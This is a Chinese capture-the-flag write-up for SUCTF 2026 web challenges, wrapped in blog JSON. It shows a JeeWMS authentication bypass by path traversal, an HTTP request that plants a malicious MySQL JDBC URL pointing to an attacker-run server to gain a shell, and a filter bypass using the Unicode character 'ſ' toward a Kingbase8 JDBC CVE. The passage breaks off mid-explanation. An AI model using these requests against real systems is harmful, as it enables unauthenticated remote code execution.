{"id":4162,"date":"2026-03-17T12:09:50","date_gmt":"2026-03-17T04:09:50","guid":{"rendered":"https:\/\/fushuling.com\/?p=4162"},"modified":"2026-03-24T13:23:29","modified_gmt":"2026-03-24T05:23:29","slug":"xctf-suctf2026-jdbc-masterwms","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2026\/03\/17\/xctf-suctf2026-jdbc-masterwms\/","title":{"rendered":"XCTF-SUCTF2026 JDBC-master&&wms"},"content":{"rendered":"\n

\u4eca\u5e74\u53c8\u4e00\u6b21\u53c2\u4e0e\u4e86 suctf \u7684\u51fa\u9898\uff0c\u548c\u6628\u5e74\u6700\u5927\u7684\u53d8\u5316\u5c31\u662f\u4eca\u5e74\u7684 wp \u600e\u4e48\u5168\u662f ai \u5199\u7684\u4e86\/(\u3112o\u3112)\/~~<\/p>\n\n\n\n

Docker \u73af\u5883\uff1ahttps:\/\/github.com\/team-su\/SUCTF-2026\/tree\/main\/web<\/a><\/p>\n\n\n\n

SU_wms<\/h1>\n\n\n\n

jeewms\u5b58\u5728\u975e\u5e38\u8001\u7248\u672c\u7684mysql\u7248\u672c<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u540e\u53f0\u5b58\u5728\u914d\u7f6ejdbc\u7684\u6a21\u5757<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u8be5\u6a21\u5757\u5bf9\u4f20\u5165\u7684jdbc\u53c2\u6570\u6ca1\u6709\u4efb\u4f55\u8fc7\u6ee4\uff0c\u53ef\u4ee5\u901a\u8fc7\u914d\u7f6e\u6076\u610fmysql jdbc\u53c2\u6570\u5b9e\u73b0\u547d\u4ee4\u6267\u884c<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u4f9d\u8d56\u4e2d\u5b58\u5728fastjson\uff0c\u53ef\u4ee5\u5229\u7528mysql jdbc\u6253fastjson\u53cd\u5e8f\u5217\u5316\u5b9e\u73b0\u547d\u4ee4\u6267\u884c<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u5229\u7528java-chains\u914d\u7f6e\u6076\u610fmysql \u670d\u52a1\u5668<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u4f46\u60f3\u8981\u8fdb\u540e\u53f0\u5fc5\u987b\u8981Cookie\uff0c\u5728JeeWMS\u7684\u9274\u6743\u8fd9\u91cc\u5b58\u5728\u4e00\u4e2a\u5224\u65ad\uff0c\u5982\u679c\u8bbf\u95ee\u7684URL\u91cc\u5305\u542bexcludeContainUrls \u5c31\u76f4\u63a5\u7528return true\u653e\u884c \uff1a<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

excludeContainUrls \u7684\u503c\u5305\u62ec\u4e0b\u9762\u4e24\u4e2a\uff1a<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u6240\u4ee5\u53ea\u8981\u6211\u4eec\u7684url\u542b\u8fd9\u4e24\u4e2a\u8def\u5f84\uff0c\u8bbf\u95ee\u7684\u65f6\u5019\u5c31\u65e0\u9700\u9274\u6743\u76f4\u63a5\u653e\u884c\uff0c\u6bd4\u5982\u63a5\u53e3\/jeewms\/rest\/cgformTemplateController.do \uff0c\u6b63\u5e38\u8bbf\u95ee\u7684\u65f6\u5019\u4f1a\u88ab\u62e6\u622a\uff1a<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u4f46\u662f\u628aURL\u6362\u6210 \/jeewms\/systemController\/showOrDownByurl.do\/..\/..\/rest\/cgformTemplateController.do\u5373\u53ef\u5728\u672a\u6388\u6743\u7684\u60c5\u51b5\u4e0b\u8bbf\u95ee\u63a5\u53e3\uff1a<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u7ed3\u5408\u9274\u6743\u7ed5\u8fc7\u7684\u6f0f\u6d1e\uff0c\u914d\u5408JDBC\u914d\u7f6e\uff0c\u5373\u53ef\u5b9e\u73b0\u5728\u672a\u6388\u6743\u60c5\u51b5\u4e0b\u4efb\u610f\u547d\u4ee4\u6267\u884c<\/p>\n\n\n\n

\u6b64\u5904\u7684mysql jdbc url\u4e3a<\/p>\n\n\n\n

jdbc:mysql:\/\/127.0.0.1:3308\/?detectCustomCollations=true&autoDeserialize=true&user=d163369<\/code><\/pre>\n\n\n\n
\u5c06user\u6539\u4e3ajava-chains\u751f\u6210\u7684user id\uff0c\u7136\u540eurl \u7f16\u7801\u540e\u66ff\u6362\u53c2\u6570url\u5373\u53ef<\/p>\n\n\n\n
POST \/jeewms\/systemController\/showOrDownByurl.do\/..\/..\/dynamicDataSourceController.do?testConnection HTTP\/1.1\nHost: xxxxxxx\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko\/20100101 Firefox\/148.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nSec-GPC: 1\nConnection: close\nCookie: JSESSIONID=6AD1142405C3298046DBDACF7FAC0317; JSESSIONID=A470B16BC3C1A63F71328DF4AF4120D5; java-chains-token-key=admin_token\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 258\n\nid=&dbKey=aaa&description=aaa&dbType=mysql&driverClass=com.mysql.jdbc.Driver&url=jdbc%3Amysql%3A%2F%2Fxxx%2Exx%2Exxx%2Exxx%3A3308%2F%3FdetectCustomCollations%3Dtrue%26autoDeserialize%3Dtrue%26user%3Dd99cd32&autoDeserialize=true&dbName=a&dbUser=a&dbPassword=a<\/code><\/pre>\n\n\n\n
\u5f39shell\uff0c\u62ffflag<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
SU_JDBC-master<\/h1>\n\n\n\n
\u8bbf\u95ee 127.0.0.1:8080 \u53ef\u4ee5\u770b\u5230\u6b22\u8fce\u754c\u9762\uff0c\u8bc1\u660e\u73af\u5883\u6210\u529f\u642d\u5efa<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5206\u6790\u6e90\u7801\u53ef\u4ee5\u53d1\u73b0\uff0c\/api\/connection<\/code> \u63a5\u53e3\u6709\u4e00\u4e2a\u53ef\u4ee5\u6d4b\u8bd5 jdbc \u8fde\u63a5\u7684\u529f\u80fd\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u4f46\u76f4\u63a5\u6d4b\u8bd5\u63a5\u53e3\u4f1a\u53d1\u73b0\u6211\u4eec\u7684\u8bf7\u6c42\u88ab\u62e6\u622a\u4e86\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u56de\u5230\u6e90\u7801\uff0c\u53ef\u4ee5\u53d1\u73b0 suctf<\/code> \u8fd9\u4e2a\u63a5\u53e3\u88ab\u9650\u5236\u4e86\u4e0d\u53ef\u8bbf\u95ee\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
HttpServletRequest r = request;\nHttpServletResponse res = response;\nString servletPath = r.getServletPath();\n\nif (servletPath != null && (\n                servletPath.matches(\"(?i).*s\\\\W*u\\\\W*c\\\\W*t\\\\W*f.*\")\n                        || servletPath.toLowerCase().contains(\"suctf\")\n                        || servletPath.toLowerCase().replaceAll(\"[^a-z0-9]\", \"\").contains(\"suctf\")\n        )) {\n            res.setStatus(HttpServletResponse.SC_FORBIDDEN);\n            res.getWriter().write(\"blocked by filter\");\n            return false;\n        }<\/code><\/pre>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u7684\u9650\u5236\u903b\u8f91\u662f\u83b7\u53d6 getServletPath<\/code>\uff0c\u5148\u7528\u5927\u5c0f\u5199\u4e0d\u654f\u611f\u7684\u6b63\u5219\u8868\u8fbe\u5f0f\u8fc7\u6ee4 suctf<\/code>\uff0c\u7136\u540e\u628a ServletPath<\/code> \u8f6c\u5c0f\u5199\u4e4b\u540e\u548c suctf<\/code>\u5bf9\u6bd4\uff0c\u786e\u4fdd\u8bbf\u95ee\u7684 url \u4e0d\u542b\u8fd9\u51e0\u4e2a\u5173\u952e\u5b57\u3002\u5206\u6790 WebConfig \u53ef\u4ee5\u53d1\u73b0\u8def\u7531\u5339\u914d\u8fd9\u91cc\u88ab\u8bbe\u7f6e\u4e86\u5927\u5c0f\u5199\u4e0d\u654f\u611f\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5f53 Spring \u5e95\u5c42\u88ab\u8bbe\u7f6e\u5927\u5c0f\u5199\u4e0d\u654f\u611f\u4e4b\u540e\uff0c\u8def\u7531\u5339\u914d\u8d70\u7684\u903b\u8f91\u662f this.rawPattern.equalsIgnoreCase(str)<\/code> \uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
equalsIgnoreCase<\/code> \u7684\u5339\u914d\u903b\u8f91\u662f\u9010\u5b57\u7b26\u5229\u7528 regionMatches<\/code>\u505a\u5339\u914d\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u6709\u4e00\u4e2a\u5f88\u6709\u8da3\u7684\u70b9\uff0cjava \u5b98\u65b9\u4e5f\u610f\u8bc6\u5230\u67d0\u4e9b\u7279\u6b8a\u5b57\u7b26\u5728\u5927\u5c0f\u5199\u7684\u8f6c\u6362\u4e0a\u4f1a\u6709\u5dee\u5f02\uff0c\u6240\u4ee5\u8fd9\u91cc\u7684\u9009\u62e9\u662f\uff1a\u5728\u5b57\u7b26\u5339\u914d\u4e0a\uff0c\u4e0d\u8981\u6c42\u540c\u65f6\u6ee1\u8db3\u4e24\u4e2a\u5b57\u7b26\u5927\u5199\u548c\u5c0f\u5199\u5747\u76f8\u540c\uff0c\u800c\u662f\u53ea\u8981\u5927\u5199\u6216\u8005\u5c0f\u5199\u76f8\u540c\u5373\u53ef\u6ee1\u8db3\u5339\u914d<\/strong>\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5728 java \u91cc\u5b58\u5728\u4e00\u4e9b\u7279\u6b8a\u7684 unicode \u5b57\u7b26\uff0c\u5927\u5c0f\u5199\u8f6c\u6362\u7684\u65f6\u5019\u4f1a\u51fa\u73b0\u5dee\u5f02\uff0c\u6bd4\u5982\u5b57\u7b26\u201d\u0131\u201d\u8f6c\u5927\u5199\u4e4b\u540e\u4f1a\u53d8\u6210\u201dI\u201d\uff0c\u5b57\u7b26\u201d\u017f\u201d\u8f6c\u6362\u5927\u5199\u4e4b\u540e\u4f1a\u53d8\u6210\u201dS”<\/p>\n\n\n\n
package JDBC;\n\npublic class upper {\n    public static void main(String[] args) {\n        String var1 = \"\u0131\";\n        String var2 = \"\u017f\";\n        System.out.println(var1.toUpperCase().equals(\"I\"));\n        System.out.println(var2.toUpperCase().equals(\"S\"));\n    }\n}<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u6211\u4eec\u5c31\u80fd\u660e\u767d\uff0c\u5176\u5b9e\u4e4b\u524d\u8f6c\u5c0f\u5199\u7684\u68c0\u67e5\u5728\u8fd9\u91cc\u662f\u65e0\u6548\u7684\uff0c\u56e0\u4e3a\u6211\u4eec\u7684\u7279\u6b8a\u5b57\u7b26\u201d\u017f\u201d\u8f6c\u6362\u5927\u5199\u4e4b\u540e\u4f1a\u53d8\u6210\u201dS”\u901a\u8fc7\u8def\u7531\u5339\u914d\u903b\u8f91\uff0c\u800c\u8f6c\u5c0f\u5199\u7684\u65f6\u5019\u5b83\u548c”s”\u65e0\u5173\uff0c\u6240\u4ee5\u80fd\u591f\u7ed5\u8fc7\u68c0\u6d4b\u3002<\/p>\n\n\n\n
\u4f46\u8fd8\u6709\u4e00\u4e2a\u95ee\u9898\u5c31\u662f\u8fd9\u91cc\u8fd8\u6709\u4e00\u4e2a\u5927\u5c0f\u5199\u4e0d\u654f\u611f\u7684\u6b63\u5219\u5339\u914d\u903b\u8f91\uff0c\u6211\u4eec\u7684\u7279\u6b8a unicode \u5b57\u7b26\u80fd\u7ed5\u8fc7\u5b83\u5417\uff1f\u5176\u5b9e\u662f\u53ef\u4ee5\u7684\uff0c\u6211\u4eec\u770b\u5230 java \u91cc\u6b63\u5219\u5339\u914d\u7684\u5e95\u5c42\u903b\u8f91\uff0c\u53ea\u6709\u5728\u5e26 UNICODE_CASE\uff08\u4f8b\u5982 (?u)\uff09\u65f6\uff0c\u624d\u4f1a\u7528 Character\uff0c\u6b64\u65f6\u8d70\u7684\u662f\u6807\u51c6\u7684 Character.toLowerCase\/toUpperCase<\/code>\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u800c\u6211\u4eec\u8fd9\u91cc\u5199\u7684\u5339\u914d\u91cc\u6ca1\u6709\u8fd9\u4e2a\uff0c\u6240\u4ee5\u9ed8\u8ba4\u8d70\u7684\u662f ascii \u6a21\u5f0f\uff0c\u5b83\u7684\u5b9e\u73b0\u5176\u5b9e\u662f\u201c\u53ea\u52a8 A\u2013Z\u201d\uff0c\u5176\u5b83\u539f\u6837\u8fd4\u56de\uff0c\u7531\u4e8e\u6211\u4eec\u7684\u7279\u6b8a\u5b57\u7b26\u6839\u672c\u5c31\u4e0d\u5728\u6807\u51c6\u5b57\u6bcd\u4e4b\u5185\uff0c\u76f4\u63a5\u5c31\u88ab\u8df3\u8fc7\u4e86\uff0c\u6240\u4ee5\u4e5f\u80fd\u7ed5\u8fc7\u8be5\u5927\u5c0f\u5199\u4e0d\u654f\u611f\u7684\u5339\u914d\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u6240\u4ee5\u73b0\u5728\u6211\u4eec\u5c31\u660e\u767d\uff0c\u7ed5\u8fc7\u5339\u914d\u7684\u6838\u5fc3\u5c31\u662f\u7528 \u017fuctf<\/code>\u4ee3\u66ff suctf<\/code>\uff0c\u5728\u6700\u7ec8\u8def\u7531\u5339\u914d\u7684\u65f6\u5019\u017fuctf<\/code>\u4f1a\u88ab\u8f6c\u5927\u5199\uff0c\u6210\u529f\u5339\u914d\u4e0asuctf<\/code>\uff0c\u5728\u53d1\u8bf7\u6c42\u7684\u65f6\u5019\u9700\u8981\u7f16\u4e00\u4e0b\u7801\uff1a<\/p>\n\n\n\n
POST \/api\/connection\/%C5%BFuctf HTTP\/1.1\nHost: 127.0.0.1:8080\nContent-Length: 120\nsec-ch-ua: \"Not(A:Brand\";v=\"24\", \"Chromium\";v=\"122\"\nsec-ch-ua-platform: \"Windows\"\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/122.0.6261.57 Safari\/537.36\nContent-Type: application\/json\nAccept: *\/*\nOrigin: http:\/\/127.0.0.1:8080\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http:\/\/127.0.0.1:8080\/api\/connection\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close\n\n{\"urlType\":\"jdbcUrl\",\"jdbcUrl\":\"jdbc:postgresql:\/\/127.0.0.1:5432\/test\",\"username\":\"postgres\",\"password\":\"your_password\"}<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u5176\u5b9e\u662f\u4e00\u4e2a\u5f88\u6709\u8da3\u7684\u70b9\uff0c\u5bf9\u4e8e\u5927\u5c0f\u5199\u4e0d\u654f\u611f\u8fd9\u4e2a\u64cd\u4f5c\uff0c\u5176\u5b9e\u8bb8\u591a\u5f00\u53d1\u8005\u6839\u672c\u4e0d\u77e5\u9053\u5e95\u5c42\u5177\u4f53\u662f\u600e\u4e48\u5b9e\u73b0\u7684\uff0c\u53ef\u80fd\u662f\u901a\u8fc7\u8f6c\u5927\u5199\uff0c\u4e5f\u53ef\u80fd\u662f\u5148\u8f6c\u4e00\u6b21\u5c0f\u5199\u518d\u8f6c\u4e00\u6b21\u5927\u5199\uff0c\u8fd9\u5c31\u5bfc\u81f4\u67d0\u4e9b\u60c5\u51b5\uff0c\u6bd4\u5982\u9898\u76ee\u91cc\u8fd9\u6837\uff0c\u5f00\u53d1\u8005\u81ea\u4ee5\u4e3a\u5199\u4e86\u4e00\u4e2a\u5f88\u5b89\u5168\u7684\u68c0\u67e5\uff0c\u5148\u8f6c\u5c0f\u5199\u518d\u7528\u6b63\u5219\uff0c\u4f46\u5176\u5b9e\u5e95\u5c42\u53ef\u4ee5\u901a\u8fc7\u8f6c\u5927\u5199\u7684\u65b9\u5f0f\u8fdb\u884c\u7ed5\u8fc7<\/p>\n\n\n\n
\u73b0\u5728\u8fdb\u5165\u7b2c\u4e8c\u5173\uff0c\u7531\u4e8e\u662fpostgresql\uff0c\u60f3\u5fc5\u8bb8\u591a\u5e08\u5085\u5df2\u7ecf\u60c5\u4e0d\u81ea\u7981\u7684\u5f00\u59cb\u5c1d\u8bd5 CVE-2022-21724 \u4e86\uff0c\u4f46\u8981\u6ce8\u610f\uff0c\u6211\u8fd9\u91cc\u7ed9\u7684 postgresql \u9a71\u52a8\u53ef\u662f42.3.6\u7684\u7248\u672c\uff0c\u65e9\u5c31\u8fc7\u4e86\u6f0f\u6d1e\u7684\u5f71\u54cd\u7248\u672c\u4e86\uff0c\u4f60\u5f53\u7136\u662f\u6253\u4e0d\u901a\u7684\uff08\u4e8b\u5b9e\u4e0a dataease \u7684 postgresql \u4e5f\u662f\u8fd9\u4e2a\u7248\u672c\uff0c\u6240\u4ee5\u6839\u672c\u6ca1\u6cd5\u5229\u7528 postgresql\uff0c\u6211\u5f88\u597d\u5947\u4e4b\u524d\u7684\u4eba\u662f\u600e\u4e48\u6c34\u5230 dataease postgresql \u7ed5\u8fc7\u7684 cve \u7684\uff09<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u867d\u7136\u6211\u5728\u6211\u535a\u5ba2\u4e0a\u5206\u4eab\u8fc7\u9ad8\u7248\u672c postgresql jdbc RCE \u7684\u529e\u6cd5\uff1apostgresql jdbc\u9e21\u808bRCE<\/a>\uff0c\u4f46\u8fd9\u4e2a\u4e1c\u897f\u5229\u7528\u9650\u5236\u8fd8\u662f\u6bd4\u8f83\u9ad8\u7684\uff0c\u611f\u89c9\u5b9e\u6218\u80fd\u5229\u7528\u7684\u6982\u7387\u5f88\u4f4e\uff0c\u5728\u6211\u7684\u9884\u671f\u8bbe\u8ba1\u91cc\u672c\u9898\u4e5f\u4e0d\u662f\u7528\u8fd9\u4e2a\u70b9<\/p>\n\n\n\n
\u8ba4\u771f\u590d\u73b0\u8fc7CVE-2022-21724\u7684\u5e08\u5085\u5e94\u8be5\u77e5\u9053\uff0cCVE-2022-21724\u51fa\u73b0\u7684\u6839\u672c\u539f\u56e0\u662f\u9a71\u52a8\u7a0b\u5e8f\u5728\u5b9e\u4f8b\u5316\u7c7b\u4e4b\u524d\u6ca1\u6709\u9a8c\u8bc1\u7c7b\u662f\u5426\u5b9e\u73b0\u4e86\u9884\u671f\u7684\u63a5\u53e3\uff0c\u6240\u4ee5\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u4e00\u4e9b\u6076\u610f\u7684\u7c7b\u6765\u5b9e\u73b0rce\uff0c\u6211\u4eec\u770b\u5230\u5b98\u65b9\u7684\u8865\u4e01<\/a>\uff0c\u53ef\u4ee5\u770b\u5230\u4ed6\u4eec\u4fee\u590d\u7684\u903b\u8f91\u5c31\u662f\u6dfb\u52a0\u4e86\u4ee3\u7801\u903b\u8f91\u9a8c\u8bc1\u8be5\u7c7b\u662f\u5426\u5b9e\u73b0\u4e86\u9884\u671f\u7684\u63a5\u53e3\uff0c\u800c\u4e0d\u662f\u76f4\u63a5\u5b9e\u4f8b\u5316\u4f20\u5165\u7684\u7c7b\u540d\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u8fd9\u4e2a\u9879\u76ee\u91cc\u7684postgresql\u4fbf\u662f\u5982\u6b64\uff0c\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u591a\u4e86SocketFactory.class<\/code>\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u96be\u9053\u51fa\u9898\u4eba\u662f\u8ba9\u6211\u4eec\u7ed5postgresql\u7684\u8865\u4e01\u5417\uff0c\u51fa\u9898\u4eba\u4e5f\u592a\u574f\u4e86\uff01\uff01\uff01<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5f53\u7136\u4e0d\u662f\uff0c\u8981\u662f\u771f\u80fd\u7ed5\u6211\u80af\u5b9a\u65e9\u5c31\u62ff\u53bb\u4ea4\u4e86\u548b\u53ef\u80fd\u62ff\u6765\u51fa\u9898\uff0c\u5728drivers\u90a3\u91cc\uff0c\u9664\u4e86postgresql-42.3.6.jar\u8fd8\u6709\u4e00\u4e2akingbase8-8.6.jar\uff0c\u867d\u7136\u4f60\u5728\u7f51\u4e0a\u641c\u4e0d\u5230\u4ec0\u4e48\u73b0\u6210\u80fd\u6253\u7684nday\uff0c\u4f46\u80fd\u53d1\u73b0\u5b83\u662f\u4e00\u4e2a\u57fa\u4e8epostgresql\u7684\u56fd\u4ea7\u5f15\u64ce\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u540c\u6837\u770b\u5230\u5b83\u7684SocketFactoryFactory<\/code>\u7684\u90e8\u5206\uff0c\u53ef\u4ee5\u770b\u5230\u5b83\u7684\u8fd9\u4e00\u90e8\u5206\u57fa\u672c\u4e0a\u548cpostgresql\u4e00\u6837\uff0c\u5e76\u4e14\u662f\u6ca1\u6709SocketFactory.class<\/code>\u7684\u672a\u4fee\u590d\u7248\u672c\uff0c\u6240\u4ee5\u6211\u4eec\u4ecd\u7136\u53ef\u4ee5\u5229\u7528CVE-2022-21724<\/strong>(\u6211\u9047\u5230\u8fc7\u597d\u51e0\u4e2a\u9879\u76ee\u90fd\u662f postgresql \u6ca1\u6d1e\u4f46\u662fkingbase8\u6709\u6d1e\uff0c\u53ef\u80fd\u662f\u4fe1\u521b\u5bb3\u7684)\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u73b0\u5728\u8fd8\u6709\u4e00\u4e2a\u95ee\u9898\uff0c\u8fd9\u4e2a\u9879\u76ee\u7684\u9ed8\u8ba4jdbc\u903b\u8f91\u662f\u8d70postgresql\u7684\uff0c\u4e0d\u8d70kingbase8\uff0c\u6211\u4eec\u8be5\u600e\u4e48\u5b9e\u73b0\u8fde\u63a5\u5462\uff1f\u56de\u5230\u4e00\u5f00\u59cb\uff0c\u8fd9\u4e2a\u9879\u76ee\u7684jdbc\u8fde\u63a5\u7531\u4e24\u90e8\u5206\u7ec4\u6210\uff0c\u4e00\u662f\u901a\u8fc7configuration.getJdbc()<\/code>\u83b7\u53d6\u5bf9\u5e94\u7684jdbc url\uff0c\u4e8c\u662f\u901a\u8fc7configuration.getDriver()<\/code>\u83b7\u53d6\u5bf9\u5e94\u7684\u9a71\u52a8\uff0cconfiguration.getJdbc()<\/code>\u8fd9\u91cc\u8fd8\u597d\uff0c\u56e0\u4e3a\u6ca1\u6709\u505a\u6821\u9a8c\uff0c\u6240\u4ee5\u6211\u4eec\u5199jdbc:kingbase8:<\/code>\u60f3\u5fc5\u4e5f\u80fd\u901a\u8fc7\u9a8c\u8bc1\uff0c\u4f46\u9a71\u52a8\u8fd9\u4e00\u5757\u600e\u4e48\u529e\u5462\uff0cconfiguration.getDriver()<\/code>\u53ef\u76f4\u63a5\u8fd4\u56de\u7684\u662forg.postgresql.Driver<\/code>\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u6709\u4e00\u4e2a\u6bd4\u8f83\u4e0d\u5bb9\u6613\u6ce8\u610f\u5230\u7684\u5730\u65b9\uff0c\u6211\u4eec\u4f20\u5165\u7684configurationJson<\/code>\u662f\u901a\u8fc7 objectMapper.readValue<\/code>\u5b9e\u4f8b\u5316\u5bf9\u5e94\u7684Pg.class<\/code>\u7684\uff0c\u800cobjectMapper<\/code>\u6765\u81ea\u4e8ecom.fasterxml.jackson.databind.ObjectMapper<\/code>\uff0c\u6240\u4ee5\u8fd9\u91cc\u8d70\u7684\u5176\u5b9e\u662fjackson\u7684\u53cd\u5e8f\u5217\u5316\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u6709\u4e00\u4e2a\u975e\u5e38\u6709\u8da3\u7684\u70b9\uff0cJackson\uff08\u4ee5\u53ca\u5176\u4ed6\u5927\u591a\u6570 JSON \u53cd\u5e8f\u5217\u5316\u6846\u67b6\uff09\u7684\u5de5\u4f5c\u65b9\u5f0f\u662f\uff1a<\/p>\n\n\n\n